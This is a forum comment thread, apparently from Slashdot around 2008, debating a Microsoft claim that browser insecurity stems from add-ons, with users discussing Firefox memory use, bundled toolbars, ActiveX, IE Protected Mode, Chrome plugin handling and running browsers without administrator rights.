[Anonymous Coward]

Huh... and all this time I thought it was a good thing to be a "superman" in bed.

But remember

[dedazo]

If it's Firefox, it's perfectly OK to blame the add-ons.

Those hundreds of memory leaks the FF team fixed in 3.0? All attributed to add-ons, until they were fixed.

And don't get me wrong, FF is a far superior browser to IE any day of the week, but people in crystal rooms shouldn't be hurling stones at others. Or something along those lines.

Re:But remember

[Anonymous Coward]

Those hundreds of memory leaks the FF team fixed in 3.0? All attributed to add-ons, until they were fixed.

Fixed? Really? Somehow, I doubt that they have fixed a whole lot...

Re:But remember

[dedazo]

Wow, that's really bad.

I have seen some decrease in the amount of memory used by 3.x over 2.x, especially when I leave the browser open for days at a time.

On the other hand, 3 does seem to crash more often, at least on me. This page will make it crash every single time on this machine, for example.

Re:But remember

[Daimanta]

"This [letmegoogl...foryou.com] page will make it crash every single time on this machine, for example."

Using 3.1b1 and nothing strange happens. Add-ons: Adblock plus, Noscript(off), fasterfox

Re:But remember

[clone53421]

It didn't crash, and I'm definitely keeping that link! :)

Re:But remember

[dedazo]

Yeah, it's pretty funny. It was doing the rounds the other day.

Works fine on IE as well, which is what I had to use to look at it.

Re:But remember

[Anonymous Coward]

Yah, that was exactly what I thought when I snapped that screenshot.

FF 3.0.3 with 4 tabs (Slashdot, Gmail, Mozilla forum, and about:cache) running on a Vista Ultimate x64 box taking 1.5GB of RAM. Yah.

I'm not even going to get started with the widespread problem firefox users report with Youtube videos randomly not playing until you restart the browser. Default reply from the FF folks? "Try running it in safe mode". Seriously.

I went back to IE, which *never* gets anywhere near 1/2 the memory usage of FF3. True, I can't use the Download Statusbar nor Google Redesigned extensions, but I can live without the statusbar and Gmail now has themes.
Everything else just *works*.

Re:But remember

[dedazo]

3.0.4 on Vista here. A bunch of add-ons like AdBlock Plus, Flashblock, Google Toolbar, etc. I didn't try disabling them. I should mention that it works fine on an XP Pro laptop I have sitting here on my desk with 2.x (I forget the exact version), so it might be something about this install. Java is also broken for some reason. Maybe it was the upgrade, instead of just starting from scratch.

Re:But remember

[dedazo]

I wouldn't go back to IE though, not unless there's equivalents to AdBlock, FlashBlock, Google Notebook and CustomizeGoogle that work within the browser and work well. And themes, at least the one I use in Firefox.

Whatever failings FF has, it's still an acceptable trade-off over Internet Explorer as far as I'm concerned.

Re:But remember

[PitaBred]

3.0.4 here, Adblock Plus, Foxmarks, FoxyProxy and User Agent Switcher plugins, and that site works fine. You have something screwed up on your machine.

Re:But remember

[nneonneo]

3.0.4 on XP, 30+ tabs open (including GMail), 284MB used. I've about a dozen add-ons, including NoScript (currently permitting almost all the open sites), ABP, Firebug, YSlow, Greasemonkey, ...
 
I restart Firefox about as often as I restart XP, which is not very often.

Re:But remember

[nneonneo]

I haven't had problems like that. Maybe you should try a clean profile, and just import the Bookmarks (firefox.exe -profileManager, or use the link in the Start Menu)

Re:But remember

[xant]

I think the point has always been that it was easier to fix those leaks in the add-ons than to implement draconian quotas on add-ons in the browser.

They were able to fix it to some degree, but all it's doing is preventing poorly-written addons from leaking memory. I think protecting the user from his addons is a superior technical solution, but it isn't Firefox's "fault" that the addons were written poorly.

And I would in fact apply the same argument to IE and extend it to Windows: plugins to IE causing problems? Disable the plugins, not IE. Drivers making windows bluescreen? Blame the drivers, not Windows.

But still try to sandbox things a little better so buggy extension code doesn't kill the experience.

Re:But remember

[WARM3CH]

Try IE7pro then, a free plugin for IE7: http://www.ie7pro.com/

It has most of what you want. From their FAQ: You can use IE7Pro for Tab Enhancement, Super Drag Drop, Crash Recovery, Proxy Switcher, Mouse Gesture, Tab History Browser, Inline Search, Spell Check, Auto Fill Form, User Agent Switcher, Webpage Capturer, Greasemonkey-like user script, AD Blocker, Flash Block, and more.

I use IE7 + IE7pro on my Tablet PC and FF3 on my desktop. IE7 is much better at dealing with ink input on my tablet while even with some recent FF3 is yet far behind.

Re:But remember

[Anonymous Coward]

Maybe you should try a clean profile, and just import the Bookmarks

That was after a clean install of Firefox.

My OS disk failed on a XP Pro box, so I took the opportunity to move to Vista64.
Two new drives in a RAID-1 configuration, 15 minutes to install the OS, then another hour or so to install all the patches and reboot a couple of times.
After this, I installed those things I considered primary on my daily routine, including Firefox and the extensions I mentioned. That was it.

The screenshot you saw above was taken after I left Firefox running overnight with 2 tabs open (Slashdot and Gmail), and came back to find FFox taking 1.5GB of RAM. I opened the other two tabs (Mozilla forums and about:cache) so I could try to troubleshoot the issue.

Firefox is pretty good, I'm not denying that, but I'll be damned if it doesn't have a crapload of nagging bugs for which the only answers seem to be "Try a clean profile" or "Try running in safe mode" or "Disable javascript" or some other such nonsense.

I mean, wtf? If I wanted to browse with minimal functionality, I'd have never switched over from lynx back in the day.

Opera seems to be way better than Firefox, but unfortunately it has nowhere near the legions of fanboys fawning over it.

It's the Network!

[qwertphobia]

Around here, and many other places, I suspect, the generally-accepted practice is to first blame the network when problems arise.

The network usually isn't at fault but we are still forced to jump through hoops before we can tell the user the network is fine, it's their poorly-implemented config/script/filter that caused their problems.

I see this as a similar practice... if some crap comes through the browser, it must be the browser's fault. Nevermind that some toolbar or plugin or other enhacement left a few doors open.

Re:It's the Network!

[QuantumRiff]

Love it when users try to blame their flaky network connections for files getting deleted. They certainly didn't delete the wrong file, their network connection is glitchy and "goes down" all the time, they tell me on their IP phone....

Re:It's the Network!

[gbjbaanb]

I thought the generally accepted practice for MS is to first blame the video driver, and then blame the printer driver. *then* they might look at the problem :)

Mind you, I agree with MS here, the biggest problem with the browser is the add-ins.. ones like SmileyCentral, AdsULike, PhishingToolbar, AntiVirusCheckPro, and NoSpamHonestNoReally.

Add on architecture?

[tjstork]

Microsoft made add-ons essentially super-user in the browser space, and now they complain about add-ons being ill-behaved? If you don't want kids to bang their heads on your playground, perhaps design it better?

Re:Add on architecture?

[geirnord]

Flamebait, if it weren't true....

Bullshit. Plain utter bullshit.

[syousef]

Many non-power-users don't use addons at all.

If what was being said were true, only us techies would be affected. ...and if that were true no one would care (including us techies) because we know how to protect ourselves.

Re:Bullshit. Plain utter bullshit.

[EvanED]

Many non-power-users don't use addons at all.

And there are plenty more who install the Yahoo and Google toolbars, plus whatever other crap comes up.

Re:Bullshit. Plain utter bullshit.

[athakur999]

Really? I don't think I've ever loaded up IE on a non-"power user" person's computer without seeing at least 2 or 3 "search toolbar" addons installed.

If anything, I think "power users" are less likely to have random addons installed since they actually bother to uncheck the "install random crap toolbar" box when they install something.

Re:Bullshit. Plain utter bullshit.

[goofballs]

yeah, bullshit is right- bullshit power users don't use add-ons; look at the examples given in the article and the summary- flash, pdf, and quicktime? unless you categorize all the youtube users as 'techies', eh?

Re:Bullshit. Plain utter bullshit.

[Drinking Bleach]

I'm going to remember that next time I have to fix someone's computer and IE has 10 bullshit toolbars, of which 9 of them are malware.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

Not knowingly you mean. Most users who don't know much about computers I find have at least 5 different toolbars from various software vendors including but not limited to yahoo, google and adobe. It seems that every fucking program nowadays has some stupid browser toolbar/addon shit tacked onto it you need to tell the installer to NOT FUCKING INSTALL or it will take over your browser.

Re:Bullshit. Plain utter bullshit.

[mcgrew]

From TFA: The browser is becoming a harder target and there are many more browsers," Lawrence said. "So attackers are targeting add-onsaling from the poor to give to the rich.

But your IE add-on worn't work in Firefox and the Firefox add-on won't work on Opera. How stupid do these people think we are?

He added that attackers are finding add-ons with high market share looking for vulnerabilities and then exploiting every browser through the add-on

Again, that's neither logical nor reasonable. Can anyone point to an add-on that has more users than ANY brand of browser? How many millions of copies of IE were shipped last month?

you could still be at risk if there is a vulnerability in Flask, PDF, QuickTime or another popular add-on

I think they meant "flash", my home browser has no need for PDF, I gave up quicktime years ago (ugh) and the only thing Flash does is try and serve ads. So is this chump saying I can forget about vulnerabilities and just use IE?

Seems to me most of the vulnerabilities I hear about involve Active-X, which is only supported by IE. maybe that's the "addon" he's talking about ;)

Re:Bullshit. Plain utter bullshit.

[TheRaven64]

Can anyone point to an add-on that has more users than ANY brand of browser?

Sun Java? Adobe Flash? Not sure about the former does, but the latter has a much bigger installed-base than IE.

Re:Bullshit. Plain utter bullshit.

[Jamie's Nightmare]

Many non-power-users don't use addons at all.

That's incorrect. Most of them install the add-ons without really knowing that they are doing, or don't unchecked the box that says "Install this tool bar you don't want" when installing software.

Re:Bullshit. Plain utter bullshit.

[Simon (S2)]

Many non-power-users don't use addons at all.

Everybody (well, almost of course) has flash installed nowadays.

Re:Bullshit. Plain utter bullshit.

[nschubach]

Yes, I'm still trying to figure out how to teach my Mom that she doesn't need EVERY toolbar in existence.

Re:Bullshit. Plain utter bullshit.

[wizkid]

I'm a power user, and I use add-ons ... Especially noscript. It's really helpful on IE... No wait ... Nevermind on the IE part. I haven't used wine to load IE yet.

Re:Bullshit. Plain utter bullshit.

[clodney]

I think the article was not referring to addons in the sense that a geek thinks of them - adblock, firebug, noscript, etc.

Instead, they mean the biggies - acrobat, flash, quicktime. Most systems will have some or all of those installed.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

A power user who uses IE .. ?! Please, tell me you are joking!

Re:Bullshit. Plain utter bullshit.

[clone53421]

Did you miss the part where he said he hadn't loaded IE?

NoScript is a Firefox addon...

Re:Bullshit. Plain utter bullshit.

[Fujisawa Sensei]

Many non-power-users don't use addons at all.

If what was being said were true, only us techies would be affected. ...and if that were true no one would care (including us techies) because we know how to protect ourselves.

Many power-users install only a minimal number of addons to do what we want. Stuff like flash-block along with flash. We don't need a dozen fool-bars or huge numbers of widgets.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

Gawd I hate those, I couldn't even figure out how to get Yahoo's to uninstall (back when I did use IE). That was the first thing that brought me to mozilla was the absence of that dang yahoo toolbar.

Re:Bullshit. Plain utter bullshit.

[cpicon92]

Adobe PDF Reader come prepackaged with new dells. I know many a non-techie who had like 18 different toolbars installed too.

Re:Bullshit. Plain utter bullshit.

[sremick]

What absence?

http://www.softpedia.com/screenshots/Yahoo-Toolbar-for-Mozilla-Firefox_1.png

Re:Bullshit. Plain utter bullshit.

[vux984]

And there are plenty more who install the Yahoo and Google toolbars, plus whatever other crap comes up.

To be fair, those often get loaded by accident - as part of installing adobe reader, or java, or skype, or whatever, and of course its defaulted to install, so unless you read every page of the installation wizard, they get you.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

this is unfortunatly not correct, just by installing a software on your computer most of the time youll install a small add on with out even knowing it.think about it even with a programme to burn cd like nero they want you to install a bs toolbar when you download the program

Re:Bullshit. Plain utter bullshit.

[EvanED]

Exactly; my original comment was as much, if not more, a criticism (in my mind when I wrote it) of that sort of junk as it was of people actually deliberately installing them.

If anything, I think I'd say that probably enhances my point; people who are least literate are actually reasonably likely to end up with this stuff and not know how to get rid of it.

Re:Bullshit. Plain utter bullshit.

[Zerimar]

No matter how many times I remove Google and Yahoo toolbars from my Dad's PC, it always gets reinstalled. Too many freeware apps come with it "pre-checked" during installation, and too many users just click "Yes" or "OK" on every prompt.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

Thats right. We use Lynx.

Re:Bullshit. Plain utter bullshit.

[greenguy]

I'll second that. More than once, I've seen people browsing using a third of the screen.

I wish I was exaggerating.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

I'm sure that there is a Your Mom joke in there somewhere....

Re:Bullshit. Plain utter bullshit.

[cbhacking]

Erm... WTF? Power users are typically the ones who know better than to install random toolbars, unnecessary "browser integration" programs, and media players like QuickTime or Flash (or will use the add-on manager to disable those plugins until absolutely needed).

Even with IE7 having a built-in search box, I still see an awfully large number of people with AT LEAST two toolbars, at least one of which will be search-related and at least one of which they never use at all.

Re:Bullshit. Plain utter bullshit.

[Anonymous Coward]

Not to be overly harsh, but you need to train him better.

Tied down!

[Anonymous Coward]

It's browser woes are because the browser is the operating system and the operating system is the browser. Tie the two together and you reap what you sow!

I think they have a point..

[Anonymous Coward]

With the likes of ActiveX, and Silverlight out there, who could blame IE?

Re:I think they have a point..

[Ethanol-fueled]

Finally!

28 comments and the lowly AC is the first to mention Active X which still runs on IE, by the way, even though they added a UAC-style warning to the user before s/he runs the CraptiveX code.

Proliferation of malware has shown time and time again that users simply keep clicking "allow" or "ok" without regard to what they're agreeing to run!

Re:I think they have a point..

[bigstrat2003]

Proliferation of malware has shown time and time again that users simply keep clicking "allow" or "ok" without regard to what they're agreeing to run!

Are you trying to make a point that malware is IE's fault? Because if so, you just completely undercut it. What you said is true, and is the reason why users are the biggest threat to computer security, not the browser/OS/whatever.

Re:I think they have a point..

[greg_barton]

Users are always the biggest security threat. It's the OS's job to protect them. OSX and Linux seem to haev no problem doing this, so why can't Windows?

Re:I think they have a point..

[bigstrat2003]

Windows tends to attract the stupidest users, that's why. It's been argued over and over again, so we won't change anything here, but I maintain that the day Linux/OSX has the Windows user base, we'll still hear just as many complaints about it, because the morons out there will be mindlessly hitting "Yeah, go ahead" when sudo asks them if they're really sure they want to install that malware.

Re:I think they have a point..

[kuzb]

That isn't true. They just add an extra hurdle in that users need to be socially engineered in to running the programs - a task which is not very difficult at all. Let's also not forget that it's still possible (without privilege elevation) to mess around in the user's home directory (given an exploitable vulnerability), where presumably their important/sensitive documents are kept. Don't think for a second that OSX or Linux are a silver bullet.

UAC does much the same thing as sudo, but people still get infected because they're not careful what they're saying "yes" to.

Re:I think they have a point..

[kuzb]

I sort of agree with this. I've met a lot of really stupid OSX users too, but Windows simply has more market share, and yes - a lot of those people are really dumb.

I also agree that people don't read. If I might add to your argument - It's not the Operating System's job to protect the user. It's the Operating System's job to give the user the tools they need to protect themselves.

Re:I think they have a point..

[greg_barton]

That isn't true. They just add an extra hurdle in that users need to be socially engineered in to running the programs

You call it a hurdle. I call it a fence. Same difference. You can choose to jump over a fence, or leave the gate open. Doesn't mean the fence isn't useful.

What A Coincidence!

[Wandering Wombat]

I aren't go after the browser, neither! I can has cheezburger nao?

excuses

[danielt998]

micosoft are just looking for any excuse to hide the fact that ie is really insecure and crap.

Speaking of add-ons

[Anonymous Coward]

Would an example of this include the Active X Control you have to install to be able to run Windows Update?

Plugin model

[Enderandrew]

Aren't the responsible for the plugin model in their browser? Aren't they responsible for the OS security?

Take a look at how Chrome handles plugins and then try to pass the buck.

Re:Plugin model

[benjymouse]

Take a look at IE protected mode. Vista allows processes started by the user to run with different "integrity levels", effectively subdividing the user account into multiple ad-hoc roles while preserving the identity. IE protected mode is run in "low integrity" - where Vista on intrinsic level protects against modifications to the file system, registry, network access etc.

Every plugin is executed in the same process under the same restrictions. IE offers a standard broker process which can be requested when a file has been downloaded (into a protected cache) and needs to be moved to the user-selected download location. The browser process has very limited capabilities.

If a plugin needs more advanced access than what is provided by his broker process then it must install and invoke its own broker process, as the plugin itself runs under the restricted mode. Flash does this, circumventing the standard IE broker process. It was a bug in the Flash broker process (along with a Java vulnerability)which enabled a security researcher to execute a program on the Vista in the pwn2own contest.

Presumably Adobe will use the same approach on other browsers with a similar model such as Chrome. That is why the security researcher was adament that the Flash flaw could have been used against *any* of the OSes. Chrome actually *also* uses the Vista low integrity feature. Presumably Google will emulate this Vista feature by using separate accounts on other OS'es which do not have process integrity levels (or other role subdivisions of user accounts) as a standard feature. Chrome does use separate processes (in low-integrity mode) for each tab. That does not provide more security against a rouge process taking over the machine, but it does provide more robustness and protect the individual tabs against other tabs going rogue because of browser bugs.

Re:Plugin model

[Anonymous Coward]

That does not provide more security against a rouge process taking over the machine

I don't know about rouge, but I used to see bleu all the time.

Re:Plugin model

[Anonymous Coward]

Yes, they are responsible for the plug-in architecture. However, the architecture only provides the mechanism through which the plug-ins are loaded and communicate with the browser, they don't provide any further facility. The plug-ins are simply binaries which are loaded into the process space of the browser. The browser process dictates the security context under which the plug-in will execute. In all browsers on all platforms if the plug-in has a vulnerability exploiting that vulnerability gains the attacker the same privileges as exploiting the browser itself, which is generally the privileges of the current user.

The best route is to run the entire browser within a constrained security context. Internet Explorer 7.0 running on Vista with Protected Mode enabled, which is the default, runs under such a constrained context. It may be possible to exploit the browser or a plug-in but that exploit will be severely limited. For example, not long after Vista was released a vulnerability was identified in the library responsible for loading animated cursor files. The vulnerability could be successfully exploited on Windows XP and Windows Vista, but if protected mode was enabled the exploit was unable to deliver it's payload on Vista.

What Chrome attempts to do is to load the plug-ins into child processes of the browser. This is done for reliability purposes, not security. Unlike the renderer child processes, the plug-in child processes are not constrained using the Windows job API. A vulnerable plug-in would be just as exploitable. The reason Google did not lock down the plug-in child process is because the plug-ins do not expect to be hosted outside of the browser process. This by itself has caused a lot of problems and the Chrome code has hard-coded a number of behaviors specific to certain plug-ins simply to ensure that they work. Flash, for example, is still rendered within a window handle owned by the browser process. Chrome has taken a novel approach, but it is not sustainable.

In my opinion there needs to be a collaborative effort in order to design a new plug-in architecture and framework under which it is assumed that the plug-in will be loaded outside of the browser process as well as executed within an extremely tight sandbox. All interaction between the plug-in will be carried out by a specific API and any action the plug-in attempts to make outside of the sandbox must be negotiated through a broker API. This would effectively combine the approaches taken by Google and Microsoft. However, I don't think that either company has the ability to pull off such a change alone, which is why I call for a collaborative effort which would include at least Microsoft, Apple, Google and the Mozilla Foundation, perhaps under the supervision of a standards body such as ECMA.

Re:Plugin model

[Anonymous Coward]

Chrome runs its plugins OUTSIDE of the security sandbox for compatibility. There is no security applied to the plugin process.

Re:Plugin model

[clone53421]

http://en.wikipedia.org/wiki/Red_Screen_of_Death

"Mashups" are the biggest problem

[Anonymous Coward]

It doesn't matter that you only visit known websites with plugins enabled. These days almost all websites embed content from other servers, in the form of ads, widgets and toolkit scripts. Computer security is ever more resembling biological immune systems instead of the old-fashioned "absolute" security approach. Software isn't written to be secure, systems aren't designed to be correct. It's as if we've accepted that a certain level of infection is unavoidable. That's a dangerous game when pieces of data as little as 16 bytes can totally compromise a system.

Yeah... that's the ticket

[Toe, The]

(Sorry... can't find the video; SNL's crackin' down, I guess. All I got is some transcript.)

But Windows is a security hole platform!

[David Gerard]

After what was expected to be an unusually quiet Patch Tuesday, Microsoft has released eight patches for applications with an insufficient number of security holes.

The updates include "critical" patches to Windows Media Player visualisations, Zune player software, that really cute dinosaur cursor and Age Of Empires II. The exploits opened by these patches allow a malicious user to take webcam pictures of your pimply butt, steal your pizza delivery and have sex with your girlfriend. The exploits have already been marketed to the Dark Security market by Microsoft Russia.

"Windows 7 won't be vulnerable!" added marketing marketer Jonathan Ness. "Did we mention how fantastic Windows 7 will be? Also, Vista's pretty good! Really! The London Stock Exchange was probably still on XP!"

Safari 3.2 blames everything but itself

[Anonymous Coward]

This behavior is not exclusive to Microsoft...

Re:Duh... And, for their chicanery...

[davidsyes]

WOE(s) be unto THEM!

What is scary as hell, though, is:

"Microsoft to aid in war on terror, builds software for DHS"

http://arstechnica.com/news.ars/post/20081121-microsoft-to-aid-in-war-on-terror-builds-software-for-dhs.html

ActiveX finally on the chopping block?

[McNihil]

Well one can always hope they kill off ActiveX now that everything is "primed" for silverlight... *coug* *cough* ... old tech meet the new tech... at the end of the day same ole same ole.

What better way to get massive adoption of new stuff?

What is needed is better warning messages

[Anonymous Coward]

I see people trying to install the free "Spyware Removal" and "Registry Scanner" all the time on our Citrix servers. They fail, of course, but it doesn't stop them from trying. And what warning does the OS give you when a site is trying to install something?
A yellow bar that suggest you click here to proceed. It might mention that some content may be harmful.

It should say something like: "This web site is trying to crap on your computer. If you enjoy getting crapped on and ripped off in your personal life, click here to proceed." If they do click, then it should say: "People like you are why syphilis is still a common disease".

No way!

[Anonymous Coward]

Add-on's for IE??

Largely yes and largely ignorance (mitigation)

[betelgeuse68]

Exploits for specific document types make compromising people's machines an issue. However, what 99.9% of people that revel in schadenfreude with IE's woes miss or fail to understand (yeah including many people on Slashdot) is that most Windows XP users (which are most Windows users, Vista is only 20%) run as as "root"!!! ("administrator" in the Windows vernacular)

I wrote a utility called RemoveAdmin available on Download.com that leverages an API in Windows (CreateRestrictedToken) that strips administrative rights:

http://www.download.com/RemoveAdmin/3000-2381_4-10824971.html?tag=mncol&cdlPid=10835515

The installer will create shortcuts for IE and Fifrefox but if you look carefully it's really a program with the browser .EXE passed as an argument.

Which means you can strip administrative rights on anything you run... in fact that's exactly what I do. I don't run *anything* that talks on the Net without this.

This means if you stumble across rigged .PDFs, Word documents, etc., etc., you won't suddenly have a keyboard logger installed because ignorant you is running with admin rights.

(Some caveats)

This is version 0.1. What would 1.0 have? A FAQ and user guide for starters. Also, I've seen this version not work in some cases, largely situations where AD is in play (probably because a user has multiple admin credentials).

If you need to run ActiveX controls on a site (poor you if you use IE), just quit IE, go to the site, have the controls installed. Quit IE and re-run IE with the secure link. Likewise this is what you would do before going to WindowsUpate.

And finally, to convince yourself the utility does something useful. Go to any site, "View Source" after you run your browser with the secure link and try to save the resultant .HTML/JavaScript to C:\Windows. You'll find you can't.... since your browser process doesn't have administrative rights (root) and thus any process it launches doesn't either (think of this as a plug-in scenario).

Maybe I'll educate some % of the IT world yet...

Respectfully,
-M

Re:Largely yes and largely ignorance (mitigation)

[FreakinSyco]

Isn't that sort of a backwards method to go about things? Shouldn't you run EVERYTHING without admin and only launch what really needs it as admin?

Re:Largely yes and largely ignorance (mitigation)

[betelgeuse68]

But tell me FreakinSyco... how many people, think Joe and Jane Sixpack run with non-administrative accounts at home under Windows XP?

Even worse, 99% of IT people will do the same, i.e. rely on anti-virus vs. the principle of least privilege which they'll call out in a heartbeat on *NIX ("Don't run as root!!!") but fail to do the same when at home under Windows XP. It's largely a user education issue. Few people know about the tools Windows does offer and assume it's completely insecure (that's not true).

Further lots of Windows software has assumed the user DOES have administrative privileges. At one point in time Google Desktop would simply not run in a non-admin desktop. Other software dating back to Windows 9x was also guilty of this. Until a couple of years ago Winamp failed to run if you were not an administrator. Why? Because it stored its configuration (Winamp.ini) in C:\Windows and it maintained global settings for the entire machine via the depracted GetPrivateProfileString and WritePrivateProfileSring APIs dating back to Windows 3.x.

Do you think your average user would likely have such information? Or even care? They just want software to work!

This tool is a compromise. 1) People don't like passwords. 2) Most Windows XP users run as administrators with nary an understanding of the dangers getting them to change to a non-admin account has many, MANY barriers 3) This tool is a compromise.

If you run as "god"/root/administrator then by proxy as your browser pulls in crap off the Net, guess what's going to happen? Yes, security issues will persist, such as cross site scripting, but which would you rather have, a browser flaw that at most might steal some file on your system or getting your machine instrumented with a root kit? No system is 100% secure but the key is to minimize exposure.

RemoveAdmin leverages a security API that's actually part of Windows Vista as well. If you have an end user that has foolishly turned off UAC. This tool will work there. It will also work with Windows 2000.

-M

Re:Largely yes and largely ignorance (mitigation)

[cbhacking]

I believe this is also possible (in XP and 2000) by right-clicking on a program or shortcut and selecting "Run As..." and making sure the "Prevent this program from making harmful changes to my computer" (or something similar, I don't use XP anymore) is checked.

On Vista, all processes run as not-really-Administrator by default, though that does lead to UAC-related complaints.

This is too fun

[Anonymous Coward]

I like the sex analogies; I think this should be a new standard for /.

Yours has some good points but:

Surfing the web with IE is like if you were to go to a convenience store to buy eggs and discovered that you had to have sex with the mysterious man behind the counter in order to accomplish this task.

Sure, you can be safe about it: wear condoms, only go to reputable convenience stores with clean-looking men behind the counter, etc. But isn't part of you wondering why you have to open yourself up in this way?

Re:This is too fun

[CodeBuster]

now THAT is a funny analogy. I almost fell out my chair laughing at that one. Please someone with points...mod the AC up.

Re:This is too fun

[riggah]

Please tell me what browser you're using which forces you to have sex with dirty, mysterious men. I'd really like to avoid that one.

Re:This is too fun

[Bargeld]

>>I like the sex analogies; I think this should be a new standard for /.

Nonstarter. Reader-base is unfamiliar with the interface.

Back to car analogies please.

--Bargeld

Re:This is too fun

[mrops]

Well, more like you go to buy eggs and you got raped in the convenience store. Your only hope was a chastity belt.

Re:This is too fun

[killertime]

why YOU have to open YOURSELF up in this way?

You wearing the condom isn't going to help at all...

Re:This is too fun

[Anonymous Coward]

Surfing the web with IE is like if you were to go to a convenience store to buy eggs and discovered that you had to have Gay sex with the mysterious man behind the counter in order to accomplish this task.

There, I have corrected your error.

What about kde-gnash?

[mangu]

There are many sites that bring the whole system nearly to a halt when konqueror loads the page. Looking into the CPU usage with top shows that 99% of the CPU time is being used by kde-gnash. Doing a "killall kde-gnash" brings everything back to normal, with a grey square where the flash was.

You are right that konqueror does not crash the whole computer, but that's still very far from the desired result.

What a joke

[Anonymous Coward]

Yes it's not their fault that Vista was a fuck up. It's not their fault that it takes half an hour to upgrade to IE7.
It's not as if we should care that the Internet is in a dark age for the last 7 years..

browser security - think Opera

[sebt]

This is another good reason to use the Opera, and one of the key reason that Opera users and devs have been arguing for a very long time against plugins and extensions.

There can be little doubt that Opera is the safest browser out there, particularly if you like to routinely browse questionable websites; while the safe sandbox of userJS, userCSS and widgets in addition to the plethora of out-of-the-box features means that there's very little need for extensions anyway.

Firefox is a great browser, and much more secure than IE, but since its growth in popularity combines with the number of malicious extensions out there it can no longer be considered to be a completely secure browsing environment.

Don't take my word for it, check out Secunia's own advisories.

sebt :)

sandbox

[BigJClark]

How about sandboxing the entire thing so that no matter what, with the flip of a switch, no writes to the HD are allowed, period (cookies or otherwise, I don't care to be tracked, and can remember more than one complex password). We could call it something scary, like jail. Or chroot jail.

Think about it, next generation. I've given up on the current one.

ABM

[YetAnotherBob]

This is marking. Blame ABM, Anybody But Microsoft.

Truth is that IE is not the best browser, but is better than it was.

Firefox is also better than it was, so is Opera, so is Webkit (Safari). In the future, I expect Chrome, if it survives, to be better too.

Why is any of this news? It is really just a marketing departments attemt to deflect blame away from where it belongs.

It's really quite simple

[vtcodger]

It's quite simple. You/They/We can define a very simple interface that displays some stuff and allows a few simple user inputs and maybe after a few years of debugging we might have a reliable browser suitable for basic stuff -- including financial data transfers and buying and selling stuff.

Or we can continue to try to do everything in the world in our browsers and then act really surprised when our PC starts relaying 20 thousand spam messages a day or our money and/or data and/or identity ends up in Lichtenstein, Haute Volta, or Inner Mongolia.

It's quite clear to me that we -- all of us -- are going to go with the second option. That's fine. Now can we quit pretending that web insecurity is someone else's fault?

First Hand Refutation

[Cormophyte]

I installed Windows Vista on my Mac Pro in order to run the one program I wanted that I couldn't get for Mac OS the other day (Fallout 3) and while waiting for the install to finish I viewed a few web pages. I'm not talking about pornindex2000.ru here, however it wasn't cnet, either. On a scale of amish to thai hooker I was in solid girl in high school who smoked out back territory.

In any case, I didn't really care what sort of virus or malware or autodialer or rootkit or killprog or hypnotoad I picked up because it would steal my Fallout saved games and then be deleted along with the ntfs partition when I was done playing. However, out of curiosity I installed virus protection some days later and lo and behold within about four or five domains on a fully updated Vista and completely unmodified IE7 I had picked up something. Either a production install of Fallout gave me something, or it was IE. Sooo, no, MS. Go directly to jail, do not collect my license fee.

Re:First Hand Refutation

[mjwx]

On a scale of amish to thai hooker I was in solid girl in high school who smoked out back territory. Please, you have that backwards. Thai's value cleanliness and are often cleaner than most western people I meet while the Amish on the other hand tend to shun the bath like any other peice of "modern" technology.

He's right you know ...

[Luscious868]

'One of the things we've seen in the last two years is that attackers aren't even going after the browser itself anymore,' Eric Lawrence, Security Program Manager on Microsoft's Internet Explorer team, said.

And if you believe that I've got this great piece of land I'd like to sell you.

It's still your damn fault

[BlueParrot]

Now lets see... why is it that we need addons for something a simple as playing a video on youtube or streaming sound? Oh yea, that's right there's no cross platform open standards for doing so because SOMEBODY keeps failing to implement it. Seriously, even if the problem is buggy addons like Flash the whole reason we need those addons is because Microsoft has kept sabotaging the open standards that would have made them redundant. If it was not for Microsoft's continued hampering of web standards the majority of stuff flash is currently being used for could easily have been implemented using just html and javascript. So blame the browser or blame the addons, it's still all your fault in the end.

Re:It's still your damn fault

[Anonymous Coward]

This would make Microsoft even more monopoly-like and seriously hamper Flash, Quicktime, Acrobat, and other such plugin companies' revenue stream. Think in the business world before you start bashing MS.

Re:It's still your damn fault

[Dan541]

... ...

Re:It's still your damn fault

[Anonymous Coward]

So you blame quicktime and applets on MS ? Doh!
And "My Sex Search tool bar + extra" as well ?

Plugins and open standards are not related. <Video> element is added by html 5.

Still microsofts fault

[Anonymous Coward]

None of the other browsers are integrated into the OS the way IE is, With all the other browsers you at least have that bit of security. Your browser and OS are not the same program.

Bad for recruiting.

[ReedYoung]

Marketable skills you can learn and expand in the military should include programming. But since they've chosen to outsource some of its core duties to Blackwater, it's not at all surprising that they don't make their own software. Just wrong.

ActiveXploit

[VGPowerlord]

Wait, did Microsoft just admit that ActiveX is one of the largest security holes ever?

Re:ActiveXploit

[Anonymous Coward]

Sure. It's right up there with allowing users to run any random file they download off the Internet. Of course, try to take either away and see what happens.

And Who Supplies the API to these Add-Ons?

[Anonymous Coward]

MICROSOFT!

More finger pointing by Microsoft to cover up an already poorly written operating system.

Microsoft is a bunch of chumps.

LOLBURGERS!

[Anonymous Coward]

What a bunch of horse's arse!

The plugin's NoScript and FlashBlock make FireFox even more secure!

I dont see them for IE any where do you?

Hey look some one used Micro$oft and Security in the same sentence. /facepalm /headdesk /braintoilet

True

[Anonymous Coward]

This is true. I've been supporting PCs for 10 years now. 90% of the computer problems I've encountered were resolved by removing or disabling IE add-ons.

woes, woes, woes

[Anonymous Coward]

addons do browser woes, drivers do vista woes, writers do word woes, analysts do excel woes, math teacher do calculator woes. everybody do woes except man who throw chair. guy who jump in front of car get tired. ancient chinese proverb.

Lynx rox!! LOL!!

[Flavianoep]

It's because of that that I'll ever prefer linx. It's the most secure browser!!

Re:Car analogy

[Anonymous Coward]

http://members.whattheythink.com/dilbert/dilbert040730.cfm

Listen to his comments for the full story

[Jeff Moss]

Quick note: This article is a spin off of what Eric had to say during the most recent Black Hat Webcast, where Jeremiah Grossman was talking about clickjacking and other related browser issues. Eric made a lot of sense talking about plug ins and addons being the cross platform low hanging fruit.

Listen and watch the webinar to hear what he had to say and keep everything in context:
http://w.on24.com/r.htm?e=122494&s=1&k=05ED21C1734D531D2D84CA56F4ADB0F2

